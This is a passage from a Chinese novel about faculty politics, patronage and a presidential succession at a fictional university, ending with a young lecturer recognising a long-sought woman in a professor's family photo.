这话如同强心针,秦冰纶原本黯淡的眼底又被拨亮了些:是啊,如果周濂能够顺利当上校长,这种可能性不时没有。想到这里,她的嘴角轻绽出笑容,自我转圜了起来:“其实我这次上不上倒不要紧,就是担心孟超这号人得志后会更加无所顾忌了。”说罢,语气又恢复了平常的娇柔:“反正我还是那句话,指靠您周校长了。” 目的已经达到,周濂站起身起身故意逗她:“记得再补补妆哦。被人看见多不好呀。” 一句话逗得秦冰纶笑出声来。送走周濂后,她走到窗前,看着校园里来来往往的人群,心中暗暗发誓:今日之失,必将换来明日之得。 23. 尘埃初定 退休的第一天,吴若甫特意在家召见女婿顾明远。名义上是询问听课评课被牛占春他们差评的事情,实则是想借这次秦、孟的校长助理之争来点拨点拨一心向学的顾明远。 吴若甫呷了口茶,缓缓问道:“牛占春这回挑你的刺,你怎么看?” 顾明远略一沉吟:“刚开始确实有些接受不了,不过现在觉得也不能怨他,毕竟他也是按照学校的那套督导制度行事的。要改革的是这些过时的教学评价规范而已。” 平时自尊心极强的顾明远淡然的态度有些出乎吴若甫的意料,这反而让他失去了继续这个话题的抓手,他轻叩茶几:“也好。不畏浮云遮望眼嘛”,接着话锋一转:“你们年轻人对这次孟、秦之争有什么看法?” 顾明远几乎不参与这两天筒子楼里对此事的沸腾的议论声,说起话来有些应付差事:“你不是学校寻常的人事变动吗?” 顾明远的无感恰是吴若甫不希望看到的,他端起紫砂壶在书房里踱步,看似不经意地说道:“你们秦院长现在都两部专著了,孟超呢,连一篇像样的论文都没有。可孟超赢了,你想过为什么吗?” 顾明远微微蹙眉:“这个我没有想过。再说,我关心这个干嘛?” “干嘛?”吴若甫突然提高声调:“在你埋头备课时,小钟他们正在陪着孟院长钓鱼、写发言稿什么的,你觉得他为什么要这样做?明远,有些问题是时候思考了呢,毕竟你已经是教研室主任了嘛。有些在你看来看来不值一提的事,将来说不定会成为你进步时的‘堵点’。” 顾明远内心对吴若甫不断流露出的希望自己在行政上有所作为的想法一致非常抗拒,假借起身给吴若甫紫砂壶加水来回避这个问题。 吴若甫却不打算放过:“大学不是真空象牙塔呢,这里照样有官场,有派系,有斗争。秦冰纶就是上层这一块欠了火候,结果呢?” 顾明远不以为然:“大学没必要搞这一套吧?如果做教师的都去钻营这些,那尊严何在?” “尊严?”吴若甫苦笑着摇头:“老师其实也一样,要么适应规则,要么被规则淘汰。这次评课就是个教训呢,明明学生热烈欢迎,最后为什么名落孙山,这里面名堂多着呢。” 顾明远依然没有期望中的醒悟,只是简单敷衍了一句“也许我还要继续努力吧。” 望着女婿执拗的神情,吴若甫忽然觉得两人似乎不在同一个频道上聊天,内心既失望又疲惫。意识到对顾明远的“改造”也许不能指望“一口吃成一个胖子”,得有“持久战”的思想准备。 女婿的“改造”难以一蹴而就,眼前有一件事却显得迫在眉睫:校长的继任人选。 最近,江川那边动作频频,周濂对此忧心忡忡,唯恐夜长梦多坏了自己的好事。 这让吴若甫更加警觉起来。从骨子里,他是笃定地希望周濂继任。自己对周濂是有过承诺的,更何况周濂继任对自己对顾明远是有利无弊的事情。吴若甫觉得在关键时候得拉周濂一把。 这天下午,他让周濂安排车子赶赴水果湖,直接杀进副省长同学的办公室,再次提出了解决楚江大学校长的继任人选问题。 副省长同学虽然分管教育,但对省管干部没有决定权,脸上故意露出为难的颜色:“老吴啊,你都退休了,还这么操心学校的事干嘛呀?” 吴若甫重重叹了口气:“你是知道的,我这一辈子都是在楚江大学度过。这楚江大学就像我的孩子,怎么能不操心呢?周濂你是了解的嘛,人品好,学问高,是再合适不过的校长人选嘛。” “不错是不错,但你们学校不还是有些杂音嘛。” “这很正常嘛。”吴若甫轻描淡写周濂被人举报的事情,转而说道:“你这么大的领导,自然比我懂的,看人看主流嘛。你是分管教育口的省长,你的话管用的呢。” 副省长读书时因为家穷受过吴若甫不少的接济,拗不过老同学的央求,答应帮他斡旋斡旋。 在老同学这里有了说法后,吴若甫开始将重心转到了校内。他熟悉门道,省管干部的提拔必须有一个校内考察的环节,中层干部的态度是只要的参照依据。这些天来,吴若甫利用晚饭散步、聚会小酌等各种场合对那些尚在观望的处长院长们分析形势、启发心智。 一时间,关于“周濂有望接班”的传言甚嚣尘上。 消息很快传到江川耳中。对校长大位满怀热望的他怒气冲冲地闯进许继武办公室,开门见山就是“他这是想做楚江大学的‘太上皇’啊。” “太上皇”三个字像根刺扎在许继武的心头。他何尝不知道吴若甫最近一系列的动作?多年的从政经验,让许继武养成了“多一事不如少一事”的惯性。在了解到吴若甫省里关系网密实的背景后,他不愿意为了江川去和吴若甫硬碰硬。 此刻,许继武靠在办公椅上,指尖无意识地敲打着组织部送来的江川与周濂的简历表,觉得似乎有两只手在一左一右地拉扯着他的神经。窗外的梧桐枝叶繁茂,他却觉得心里堵得慌:江川懂得“规矩”,凡事请示汇报,“许书记”三个字叫得恭敬又亲热,自然是自己期望的人选。周濂棱角分明有个性,有时还仗着博士生导师的气势顶牛冲撞,是个不容易驾驭的角色,日后共事生出些龃龉几乎不可避免,更何况他的身后还站着退而不休余威犹盛的吴若甫呢。 自从前些年身体查出病症后,本来性情温和的许继武心气消减了不少。他现在想得更多的是自己的身体,工作上不想在进取与担当太费气力,更不愿意在焦点难题上横生枝节,最后能去省厅弄个公务员身份更好,不行的话就安安稳稳地待到退休。 “难啊……”,他喃喃自语,将周、江二人的履历表扔进抽屉,仿佛这样就能把难题暂时封锁起来。 还是再看看吧。也许……也许哪一天他们自己就分出了胜负呢?许继武起身给自己续了杯茶,水温正好,茶香怡人。一切的烦恼和焦虑,远不如眼前这杯茶来得真实熨帖。 彷佛是为了应和许继武的期许。一个月后,省委组织部来校宣布了对周濂的任命决定。 许继武盯着任命周濂的红头文件,烟灰缸里很快堆起了几个烟蒂。想起部领导谈话时强调“要坚定支持新校长的工作”,许继武纵使心里有一百个不满意,也不敢违逆上级的意旨。 为了避嫌,秦冰纶第一时间给周濂发去了祝贺短信。不到一分钟,周濂的电话就直接打了进来,听筒里传来的声音比往日高了八度,透着压不住的昂扬:“冰纶啊,今晚有空吗?我们聚聚吧。” 餐厅雅间里,周濂照例起身为秦冰纶拉开座椅,动作间比以往多了几分前所未有的洒脱。未等菜上齐,他便举起茶杯以茶代酒,朗声笑道:“冰纶,你看,我早就说过,风物长宜放眼量嘛。机会总是会来的嘛。” 周濂镜片后目光炯炯,言语间意气纵横,彷佛已经有了在楚江大学“舍我其谁”的气概:“接下来,我会把你的事情放在心上的。” 秦冰纶赶紧举杯回应:“有您这句话,我心里就踏实了。周校,你看我也不老小了,能不能尽快点啊?” 这句明确具体的请求让周濂有了些压力,虽然眉宇间的神采丝毫未敛,但说话的语气却沉稳了许多:“当然,许书记那边,你还是要继续去下功夫。干部任命终究要上党委会嘛。” 周濂的提醒与秦冰纶不谋而合,她已经调整好情绪,准备继续推动表妹林思齐和许达濠的“天作之合”。 孟超在这次校长助理之争中 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“嗛。你哪里看出他的人品不坏了呀?这也太主观了吧,”林思齐给咖啡里加了一块方糖:“好,抛开这个不说。关键是我们没有共同语言,聊都聊不到一起的啊。我说博尔赫斯,他问我是什么牌子的手表;我聊宋代美学,他问美学能不能赚钱……,我的大美女姐呀,换作你,能够接受?” 秦冰纶心里叹了口气:其实自己何尝不是这样的感受呢。她忽然轻轻握住表妹的手,故意长叹一声打起了“感情牌”:“你看自从你妈走后,你爸老了多少。别看姨父嘴上不说,其实心里肯定希望你早点解决个人问题的呀。” 这句话似乎击中了林思齐的软肋,嘴唇颤了颤没有说话。 秦冰纶指腹轻抚过表妹的手背,语气愈发恳切温柔:“姐姐不是要逼你,只是希望你能带着更加积极的心态去和小许接触,说不定会找到他身上的闪光点呢。” 林思齐不想继续这个话题,点点头答应“再处处看”。秦冰纶脸上溢出了笑容,亲昵地叫了声“好妹妹”,拉着林思齐去对面的球馆打羽毛球。这倒遂了林思齐的意。 趁着林思齐和人打混双的空档,秦冰纶走出球馆,没有丝毫停顿,立即拨通了钱曼莉的号码。 “钱处长,”秦冰纶的声音里带着恰到好处的喜悦与恭谨,“思齐这边,总算做通工作了。”她顿了顿,补充道,“小姑娘刚开始还想不通,我费了好大功夫,把各方面的利害关系都跟她剖析清楚了。” 听筒里立刻传来钱曼莉异常热络的笑声,那声音又亮又脆:“冰纶啊,我就知道找你准没错的”,说到这里,她的语调陡然亲昵起来:“老许刚才还问起这事儿呢,我就说嘛,冰纶出马,一个顶俩。你放心,你的这份心意,老许和我都记在心里了。”话语在这里再次巧妙地停顿片刻后说道:“你们学校班子成员老化得厉害,这几年至少得退下来两位嘛。冰纶,好好干啊。我知道咱们女人不容易,我会叮嘱老许的。” 秦冰纶握着手机颤抖了起来,虽然她心里清楚,钱曼莉只是画的一张饼,但已经足矣。她赶紧对着手机认真表态:“钱处您放心,两个孩子的事情我一定继续跟进,务必让他们缔结良缘。” “好好好,”钱曼莉的笑声更加酣畅淋漓:“咱们啊,这都是为了孩子们好,双赢,双赢嘛。” 电话挂断,秦冰纶看着西天上的云霞,此刻仿佛被一把无形的火焰点燃,由绚烂的金橙渐次洇染成浓郁的玫紫与醉红。它们不是静止的画,而是在流动、在燃烧、在欢腾,肆意铺陈着一种近乎奢侈的美丽。秦冰纶只觉得自己的心也像被这漫天暖光洗涤了一遍,轻盈透亮,所有琐碎的烦恼都被那瑰丽的光晕温柔地融化、带走了,只剩下一片开阔的、想要微笑的宁静。 24. 惊鸿一瞥 楚江大学的行政楼如图一座巨大的象牙塔,巍峨矗立于校园中轴线上,塔尖在阳光下闪烁着威严的光芒。校长周濂与书记许继武的办公室分列在走廊两侧,却仿佛隔着一道无形的楚河汉界。两人的执政理念南辕北辙,会议上的意见相左已是常态,甚至连办公室主任冯伟送文件时,都得精心权衡先敲哪一扇门才不会得罪另一边。 然而,在近乎凝固的紧张空气中,却奇迹般地存在一块"绿洲"——两人对于秦冰纶未来的前程出乎意料地有了难得的默契。个中缘由,对于周濂来讲,秦冰纶一直都是嫡系和心腹;对于许继武来讲,秦冰纶打通了他们许家传宗接代的关键堵点。 就在侄儿许达濠和林思齐领取结婚证的当天,钱曼莉信守诺言,开始在许继武面前替秦冰纶吹风,语调温柔却精准地落在了要害处:"说起来,这两个孩子能顺利地把证领了,冰纶可是出了大力的。中间两人险些谈崩的那会儿,要不是冰纶几次三番地去劝导,这事儿啊,还真未必能成。这份人情,咱们得记在心里。你们那个副书记赵文启明年不是要退了吗?我看呀,你也该提前考虑考虑这个秦冰纶了。" 许继武"嗯"了一声,端起茶杯,吹了吹气,并不立即接话。 钱曼莉似乎没有停止的意思,继续替秦冰纶说话。许继武放下茶杯,身体向后靠在椅背上,手指无意识地敲着扶手,清了清嗓子后,故意摆出书记的腔调:"嗯......秦冰纶同志嘛,确实还是不错的。"这是必要的铺垫,免得引发老婆的不满,接着话锋一转:"曼莉你是知道的,干部任用的事情不是那么简单滴。更何况省管干部呢,也不是我一人就说了算的嘛。" 钱曼莉轻轻哼了一声,语调带上了锋芒:"老许,你也别说得那么邪乎。事在人为嘛。如果你这个书记有心栽培她,至少秦冰纶就会领先别人一步的嘛。" 惧内的许继武不敢开罪老婆,摆摆手脸上挤出笑来:"我懂你的想法。我的意思是,要稳妥地办。"他刻意加重了"稳妥"二字,"周濂还有其他校领导那边,我总得去慢慢沟通吧,还有那些中层干部,也得去慢慢地做工作哩。干部问题,步子迈得太急,反而容易授人以柄,对小秦的发展未必有利。"说罢,用杯盖轻轻撇去杯沿的浮沫,眼神显得高深莫测:"培养干部,讲究个水到渠成。具体怎么操作,什么时候推,推到什么位置,还得从长计议。" 组工干部出身的钱曼莉知道也不能逼得太紧。现在许继武松了口,目的就算初步达到了。她脸上重新绽开笑容,给许继武续上热茶开起了玩笑:"行,我也就是这么一提。具体怎么办,当然还是得看你许书记运筹帷幄咯。" 开完党委会后,许继武特地将周濂留了下来。许继武弹了弹烟灰,仿佛不经意地说道:"周校长,最近我一直在思考我们班子梯队建设的问题。文启书记明年退休,得有人顶上来啊。" 周濂其实早就有了自己的主意,那就是权力扶持秦冰纶上位。他担心轻易说出秦冰纶的名字会引起许继武的警惕,便故意试探许继武:"干脆等上面''空降''好了,省得一些麻烦。" 许继武蹙了蹙眉,干脆抛出自己的想法:"''空降''也有''空降''的弊端哩。我看秦冰纶同志就不错嘛,年轻有为,上次输给孟超后,精气神还是很饱满的。" 周濂端着茶杯的手微微一顿。许继武明确提出秦冰纶的名字其实正合他意。奇怪的是,一种难以言喻的醋意和警惕掠过心头——秦冰纶一直是我的人马,怎么现在倒成了他许继武眼中的红人,莫不是秦冰纶有了二心?或者是许继武已经将她"策反"了过去? 周濂放下茶杯,脸上露出一丝沉吟的笑容,语气平和却带着针尖:"许书记的眼光自然是准的。小秦呢也确实非常优秀,"肯定了半句后随即话锋微妙一转:"不过......正因为年轻,有时候可能稍显锋芒锐利了些。我听说最近和莫笑非就学科建设的事情闹得有些不愉快,这虽然是业务上的争论,但也说明小秦在处理复杂人际关系和平衡各方利益方面,可能还需要一点点历练和沉淀嘛。" 许继武夹着烟的手指停在半空,眼中闪过一丝极快的惊讶:谁都知道秦冰纶是他周濂的嫡系,现在他非但没有顺水推舟,反而挑起了秦冰纶的毛病,这葫芦里卖的什么药? 许继武迅速压下惊讶,脸上露出深以为然的表情,甚至带着点夸张的凝重:"哦?还有这种情况?周校长提醒得很及时啊!如果这样,那我们还得仔细观察观察。"他顺势把烟摁灭,显得从谏如流:"既然校长还有顾虑,那这事确实不宜操之过急。没关系嘛,目前可供挑选的余地还是有的。" 这下轮到周濂心里咯噔了一下。他本意只是想稍微拿捏一下,挫挫许继武的"抢功"势头,没想到许继武现在顺杆爬了上来。这怎么行呢。秦冰纶是他布局未来班子建设的重要棋子,岂能让许继武将目光移向了别人?想到这里,周濂哈哈一笑,刚才那点微妙的批评瞬间烟消云散:"其实我并不是反对书记对小秦的看重,我的意思是在培养的同时要让年轻人能看到自己的不足并加以改进,这样不是更加优秀对事业更加有利的嘛。你说得没错,现在就是要培养小秦这样有闯劲、有激情的年轻干部,更何况她还是个女干部呢。值得培养嘛。" 周濂一百八十度的转弯,许继武看得跟明镜似的,心里暗笑了一声,嘴上却连说了两句"那就好"。 回到办公室,周濂亲自拨通了秦冰纶的电话。在鼓励了一番后,毫不隐晦地告诉秦冰纶自己主动和许继武商量了重点培养她的事情。一分钟之前,秦冰纶已经从电话里听到了许继武几乎同样的意思,但她自然不会说破。受了两位主要领导的双重鼓励和厚爱,秦冰纶精神倍增,更加投入精力到第五届中国古代史年会承办权的争取工作中去。 两年一届的年会是历史学界的顶级学术峰会,因为参会人员不乏海内外的学术大腕,因此各地官方都显得十分重视。吴若甫在任时,两次亲自出马申办都是铩羽而归。现在校长接力棒交到了周濂的手里,周濂已经将其作为自己的头号政绩工程加以推进,并亲自责成秦冰纶所在的历史学院具体负责申办工作。 秦冰纶的压力可想而知。好在她的姨父林城外是历史学会的秘书长,对年会申办的要求和技巧自然有很多“秘籍”可以传授。在他的建议下,秦冰纶陪同周濂亲自去北京拜访了学会会长,会长却含糊地打起了太极,只是暗示今年的申办竞争空前的激烈。 周濂心里清楚,这样的大事肯定绕不开许继武,便主动将自己的想法向这位书记作了通报。许继武历来态度明确:只要不碰干部工作,其他一切“悉听尊便”——只不过,这个“尊”字,在周濂这里是要打折扣的。与对待老校长吴若甫时的敬畏不同,许继武对这位新校长多少带点审视和保留。当周濂提出要划拨五十万作为年会申办的专项经费时,许继武没点头也没摇头,只微微一笑,顺手就把球踢给了分管财务的副校长江川。 江川一年前是与周濂竞逐校长的对手,落败之后那口气至今还没喘匀。周濂刚走进他办公室时,财务处长正巧在汇报工作。早已接到许继武电话的江川故意把话题引到今年的机动经费上。他抬高了声音,看似批评财务处长,实则句句说给刚进门的周濂听:“五百万的机动经费,这才半年,就剩不到一百万?你们怎么把关的!” 财务处长是江川的心腹,当然明白副校长的弦外之音,便立即配合着自我检讨,表态接下来一定严控支出、加强管控。 两人一唱一和,节奏恰到好处。话音落下,几乎同时起身,笑脸相迎。机动经费使用过快,周濂自己也批评过。但江川偏选在这个时候旧事重提,摆明有一半是说给他听的。周濂强压住不快,原本打算争取经费的话到了嘴边又咽了回去,转而苦笑感叹:“江校长这个财神爷,确实不容易。” 江川耸了耸肩,强挤出点笑容,自言自语的声音清晰得刚好能被周濂听见:“校长,愁人啊……巧妇难为无米之炊。我都跟书记提了,要不调整一下分工算了。” 这话里的意气与挑衅,周濂听得明明白白。他捺住性子,勉强安慰几句,最终冷着脸推门离开。 当周濂说出了自己囊中羞涩的窘境时,秦冰纶似乎早有预备,笑呵呵地说了声"这个好办"。在周濂的追问下,秦冰纶说出了林书锦父亲愿意赞助这笔钱。当秦冰纶告诉林父的公司是靠做公墓墓碑起家的背景时,头顿时摇得象拨浪鼓似的,口气也变得严厉起来:"他不是想给他儿子林书锦铺路的吧?我看秦院长你还是谨慎点好,小心被人利用惹火上身。" 这句话让秦冰纶立刻噤声,不敢再作坚持。 年会申办已经箭在弦上,经费缺口必须解决。思来想去,周濂决定动用老校长吴若甫的关系去做副省长同学的工作。没想到事情出奇的顺利,副省长本就是学历史出身,答应得十分爽快。 走到门口,吴若甫有意叮嘱道:“这事不用和书记讲是我牵的线呢。” 周濂以为吴若甫说的是反话,赶紧表态:“那怎么行?您帮了这么大的忙,不仅书记,班子成员都应该了解您对学校的关心才是。” 吴若甫连连摆手,将声音压低了些:“我的意思,往财政厅递交报告的事情,可以让小顾陪着财务的同志一起去的嘛。” 周濂一下子明白了吴若甫的意图:这是要给女婿赚一份功劳。赶紧朗声说道:"您放心好了。我会给书记讲的,这个功劳一定要给明远记上一笔的。" 当财务处副处长亲自来到教研室请顾明远一起去财政厅跑审批手续时,顾明远觉得莫名其妙,正要拒绝,吴雅娟的电话打了过来,神神秘秘说了句“跟着去就行了”。便挂断了电话。晚饭时,当吴雅娟说出实情时,顾明远的火一下子被点了起来:“以后别总是替人做决定好不好?我今天本来有一个重要的讲座的。" 气得吴雅娟在心里骂了句"苕货",嘴上忍不住数落起来:"爸这是在给你铺路知道的吧?这是别人想都想不到的美事,就你清高。" 顾明远的火气这下子蹿出了胸腔,两分冷笑里藏着八分的倔强:"我有手有脚的,为什么要别人铺路?" 顾明远的话将吴雅娟的小姐脾气也撩发了起来:"你这不是狗咬吕洞宾不识好人心嘛。你装什么清高呀?我爸递来的青云梯,别人跪着都够不着,怎么,你还嫌硌脚了?" 顾明远两年来没少领教吴雅娟的小姐脾气,干脆放弃抵抗,找了个借口去教研室“避难”。 为了增强申办成功的保险系数,根据姨父林城外的建议,秦冰纶特意为四位有“重大话语权”历史界大腕安排了一对一的联络员提供贴心服务。莫笑非主动提出要为年会申办作贡献,秦冰纶干脆送个顺水人情,将对接安排的活儿交给了他。 莫笑非不想让别的联络员接触自己的导师林城外,便有意想让秘书江小北对接他,没想到江小北一看见名单里有省社科院院长,拿起笔来直接将自己安排给了社科院院长,并嗲着声音请求莫笑非牵线引荐,说是将来肯定有用得着的地方。无奈之下,莫笑非决定让林书锦来顶替江小北,林书锦一口回绝,说是要做清北大学车曦照教授的联络员为以后读博做准备。在无可选择的情况下,莫笑非只有顾明远这一个选择了。 按照约定,明天是和林城外第一次见面的时间。顾明远来到教研室,为明天的见面做些准备。 第二天一大早,按照约定的时间,顾明远来到了林城外位于罗家山山腰的家。 罗家山不高,在江城却是一道风骨清峻的存在。这主要归因于散落在山间几十幢民国时期的别墅,它们如同停云栖鹤般隐逸在苍松翠柏俢篁丛中。到达山脚时,顾明远抬头上望。晨雾里,几角飞檐若隐若现,偶有琴声淌出,俨然有些山水画的灵动意境。 沿着山石小径,顾明远按图索骥找到了林城外的家。 门铃响后,一个大约四十岁腰间系着围裙的女人轻轻拉开了纱门。 顾明远不敢妄自判断女人身份,只好礼貌地点头微笑并自报了家门。 女子显然已经受过交代,热情地将顾明远引了进去,语气很是客气:"林教授这会正在山顶上研习太极拳。请您等候。"说罢,将一杯菊花茶递到了顾明远的手中。 趁着女人忙碌的时候,顾明远迅速地扫视了一下客厅。客厅里没有电视,全是书架,看起来更像是个书房。东北两面墙都是高到屋顶的书架,摆满了各种各样的书籍,连木质地板上也堆满了发黄的老式线装书。因为外面的树木过于葱茏,使得室内的光线柔和却略显幽暗。 顾明远有点无聊,拿着茶杯在书架前徘徊,几幅相框吸引了他的目光。 顾明远紧走两步趋上前去。中间的大相框里,一位蓄着两绺髭须、穿着长衫的老者坐在藤椅上,旁边站着一位穿着绛色蝙蝠衫、下身穿着发白牛仔裤的年轻女子。顾明远正觉得这父女俩的打扮有趣,忽然又觉得哪里有些不对劲。再凑近一看,身体顿时被电击成了一尊雕塑:相框里的女子不正是多年前火车站偶遇的"民国女学生"吗? 那一瞬间,时间仿佛凝固了。顾明远的心脏猛烈地撞击着胸腔,血液在耳畔轰鸣。他感到一阵眩晕,不得不伸手扶住身旁的书架以稳住身体。五年前那个清晨的画面如潮水般涌上心头——火车站台上,那个穿着民国风格衣裙的女子,那个让他魂牵梦绕的侧影,那个他寻觅多年而未得的梦中人。视网膜上残留的影像与眼前重叠,顾明远紧张激动得太阳穴突突直跳,感觉脖颈被衬衫领口勒得呼吸有些困难。 这一刻,无数情绪如潮水般涌上心头:震惊、狂喜、困惑、还有一丝难以名状的痛苦。五年了,他无数次在人群中寻找那个身影,无数次在梦中与她相遇,却从未想过会以这种方式重逢。 顾明远完全被紧张和激动所包裹,以致于林城外站在他身后都浑然不觉。他的整个世界仿佛缩小到了那张照片上,那个微笑着的女子似乎正透过相框玻璃注视着他,唤醒了他心底最深处的渴望与遗憾。 看见小伙子丝毫没有反应,林城外只好问立在旁边的女人:"杜姨,他是?"。 杜姨赶紧拽了一下顾明远的衣袖:"顾老师,林教授回来了。" 魂不守舍的顾明远转过身来,穿着宽松太极服、面色有些苍白的林城外正站在自己身后。 顾明远心里惊呼起来:他不就是火车站站在女子身旁的男人么?原来他就是林城外教授啊。 顾明远有些手足无措,菊花茶杯险些掉到了地上。站在原 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林城外看出了顾明远的紧张,顺手从书桌的一个纸盒子里摸出一块芝麻糖递给顾明远:"先嚼点儿甜的,这样脑子转得快些。"这时门口纱窗外的地面上有两只麻雀吵架得厉害,林城外"呵呵"笑了起来:"你看,它俩说不定是急着想进来听我们说话呢。" 顾明远紧张的心被林城外的俏皮话缓释了些,脑海里总算想起了此行的目的和任务。刚要说话,林城外指了指身上的太极服半开着玩笑说道:"你们秦院长昨晚给我打了电话,指示我对你客气点呐。既然这样,容我去换件正式点的衣服,这样可能就算客气了吧"。一边往楼梯走去,一边让杜姨拿些水果招待客人。 趁着林城外上楼的空档,顾明远的目光再次回到了墙上的照片,心里早就翻江倒海,既有得知下落的释然,又有无法靠近的痛苦。站在相框前,内心上演着无声的激烈斗争——道德与情感的拉锯战让他备受煎熬。他记得当年和马骉是来过这个学校寻找过的,心里懊悔不已:如果当时没有疏忽,说不定早就能见到"民国女学生"。那样的话,也许一切都会是另外一番景象了吧。 "怎么,我看你一直站在那里,是要对照片鉴定真伪?"楼梯口的声音将顾明远的思绪拽了回来。 林城外换了一身素色长衫,从楼梯口飘飘下来的样子和调侃的话语,让顾明远放松了许多,接过林城外的话故意话里有话地说了句"似曾相识"。这句话既是对林城外玩笑的回应,其实也是他内心的真实写照。照片上的女子可不就是在他心中萦绕了五年之久么? 林城外比顾明远想象的要健谈得多。他并不急于谈正事,反而问起了顾明远的学习经历和兴趣爱好。听说顾明远是乔丹的粉丝时,林城外"哈哈"大笑起来:"看来我们以后见面不缺聊天的素材了。"说罢,起身踮起脚尖,从书架上拿出一本厚厚的相册,得意扬扬地向顾明远展示起来。 打开相册,顾明远眼睛一亮:满眼都是乔丹在总决赛上捧杯的珍贵照片和深度报道。林城外指着那几张乔丹去年总决赛第五场带病砍下38分的经典图片感叹道:"这里面其实包含了人类如何超越极限的哲学底蕴呢”。 看着林城外一脸严肃的样子,顾明远心中不禁暗自惊叹:原来学者并非都是板着脸训人的老古董,而是也会在抱着薯片观赏篮球比赛的普通人。 正在想着心思,林城外小心翼翼合上相册后缓缓说道:"顾老师发现没有,做学问和打篮球其实也很像,"停顿了片刻后继续说道:"都需要三分天赋,六分苦练,还有一分说不清道不明的热爱。咳,可惜呀,就学问而言,现在高校里有天赋者不少,愿苦练者不多,真正发自内心热爱的更是少之又少",说罢,抬起头来目光灼灼看着顾明远说道:“我听你们秦院长说你倒是对学问非常执着。不鹜虚声、不做虚功。年轻人,难得啊。” 顾明远只觉得耳根微微发烫。林教授这番话像一道光,突然照进他多年伏案苦读的日日夜夜——那些被外人看作"迂腐"的坚持,那些反复推倒重来的论文修改,此刻都成了被偶像认可的勋章。"您过奖了,"他声音里带着克制的颤动,故作轻松地说道:"有时觉得吧,学问这件事就像乔丹的后仰跳投,看似从容的姿态,底下其实都是外人看不见的辛苦。" 林城外点了点头。此刻,顾明远觉得胸中有团火愈烧愈旺,似乎有很多话要象眼前这位一身学者风骨的老人倾诉。这时,以旁的杜姨急着插话,说是去机场的车子在外面已经等候多时。 林城外霍地惊醒,拍了拍后脑勺说道:“险些忘记了,我得赶11点的航班呢。” 顾明远赶紧将秦冰纶交代的任务一股脑说了出来。林城外笑着摆了摆手:“这都是些俗不可耐的物事,回去告诉你们秦院长,还是要多在自身实力上去下功夫。至于小顾你,我倒是欢迎你随时来访,至少我们都算得上是百无一用的书生嘛。” 窗外的嬉闹的麻雀忽然安静下来,林城外的声音在顾明远听来分外清晰。 送走林城外后,顾明远并没有急着离开,他绕着这栋砖灰色的小楼转了几圈,耳畔里回响着林城外刚才以门外一盆兰花草做的比喻:"做学问就像养它一样,三年不见花是常事。能在寂寞里开出花来的,那才叫真本事哩。"脑海中却不停地闪回照片上的“民国女学生”的影子,心中的涟漪层层泛起难以平息。 回到楚江大学时,顾明远猛然发现,秦冰纶交代的“红包”任务没有完成。因为和林城外聊得有些忘乎所以,加上他急着去赶飞机,顾明远竟然忘记了将装有三千块钱的信封送给林城外。他带着忐忑的心情来到秦冰纶办公室“负荆请罪”。 秦冰纶已经从姨父林城外那里了解了顾明远的全部动态。看着顾明远满脸通红的窘态,秦冰纶想起林城外在电话里说的话——"这个年轻人啊,跟我聊起乔丹时眼睛发亮,提到历史学的动态时如数家珍。没想到嘛,你们楚江大学还有这样不是论文生产机器的青年才俊呢"。秦冰纶忽然内心又泛起一股逗弄“猎物”的冲动,故意把茶杯重重一放:"你这三千块的红包原样带回来了?" 看见院长脸色下沉,顾明远更觉愧疚,耳尖泛红急着解释,越是着急,越是显得语无伦次。最后倒是秦冰纶先没憋住,“哈哈”笑了起来:"行啦,瞧你这委屈劲儿,倒像我扣了你年终奖似的。"在顾明远还回的信封在手中掂了掂,葱白的手指拉开抽屉,将一盒精装的明前龙井递了过来:“林教授对你的印象不错,说看在你的面子都要帮我们一把。就算你将功赎罪了。这个是赏给你的。” 顾明远不敢接受,但又禁不住秦冰纶灼灼的目光,只好瑟瑟地接了过来。正要出门,又被秦冰纶叫了回来,语调忽然柔软了几分:“以后有NBA比赛直播,也叫上我们呗。” 顾明远忽然想起秦冰纶说过大学时代也是学校篮球队成员,便不由自主点了点头。 下班后,顾明远不敢轻易回家,生怕自己今天的惊鸿一瞥蕴积的巨大惊喜在吴雅娟面前不自禁地渗漏出来。只有他自己清楚,一块压在心头五年之久的巨石突然移开,这该是何等的轻松和惊喜!然而,这样的轻松和惊喜又是短暂的,自己日思夜想的那个人,竟然一直就在湖对面的罗家山,近在咫尺,远在天涯,分明是造化弄人啊。此刻的顾明远脑子里一团乱麻,他不知道应该如何在道德与情感、理性与感性之间找到平衡。 25. 心猿意马 夜幕低垂,顾明远站在好友马骉家门前,犹豫了好半天才按下门铃。 门开了。马骉嗓门依旧洪亮:“老顾是你呀?快进来。刚才还和菡子念叨你呢。有日子没来了吧。” 王菡系着围裙从厨房探出头,手里还拿着锅铲:“明远啊,快坐快坐,正好,一块儿吃饭。骉子,你和明远喝点酒吧。” 客厅不大。很快,饭桌上摆满的菜肴氤氲的热气和香气充盈着狭小的空间。几杯酒下肚,无所顾忌的忍不住将自己的奇遇说了出来。语气带着难以置信的兴奋,眼底有着自己都未曾察觉的光彩。 他的眉飞色舞,换来的是马骉夫妇脸上的笑容凝固。王菡夹菜的筷子停在了半空,马骉端着酒杯忘记了倒进嘴里。顾明远刚一讲完,客厅里陷入一种古怪的寂静,只有墙上的挂钟发出单调的“滴答”声。 回过神来的王菡倒抽一口冷气,脱口而出:“我的老天爷呀!”她瞪大了眼睛,上下打量着顾明远,仿佛第一次认识他:“你说的……‘民国女学生’……是那个大学教授……他的女儿?”她的话没有了往日的利索,满脸都是难以置信的表情。 马骉愣了好一会儿,猛地一拍大腿,“啪”的一声脆响打破了沉寂:“老顾,你这可是……这可是守得云开见月明啊!”他声音激动得提高了八度,脸上欣喜的表情毫不掩饰。” 话未说完,王菡在桌下狠狠地踹了马骉一脚,厉声打断了他:“要不说你的脑壳是被门夹了啵?我信了你的邪!还云开月明,明什么明?!”王菡满脸通红,目光锐利得要伸出两把刀来:“我看你是昏了头了。明远是结了婚的人,马上就要做爸爸了,你在这瞎起什么哄?你是想坑死明远的吗?!” 王菡这夹杂着焦急和怒火劈头盖脸的一瓢冷水,让两个男人瞬间呆若木鸡。马骉张着嘴,后面的话全噎在了喉咙里,看看满脸怒容的老婆,又看看对面脸色苍白的顾明远,像是猛地醒悟过来,抬手给了嘴巴一下:“哎哟,看我这张破嘴。老顾,我……我可不是那意思哈。” 王菡的这瓢冷水,让顾明远的心也猛地沉了下去,刚才那点隐秘的、难以启齿的悸动和幻想,被王菡毫不留情地撕开,暴露在现实刺眼的灯光下。这样直白甚至尖锐的否定,既是真实的,又是温暖的,顾明远嘴角勉强扯出一些比哭还难看的笑容,恨不能找道缝儿钻进去。 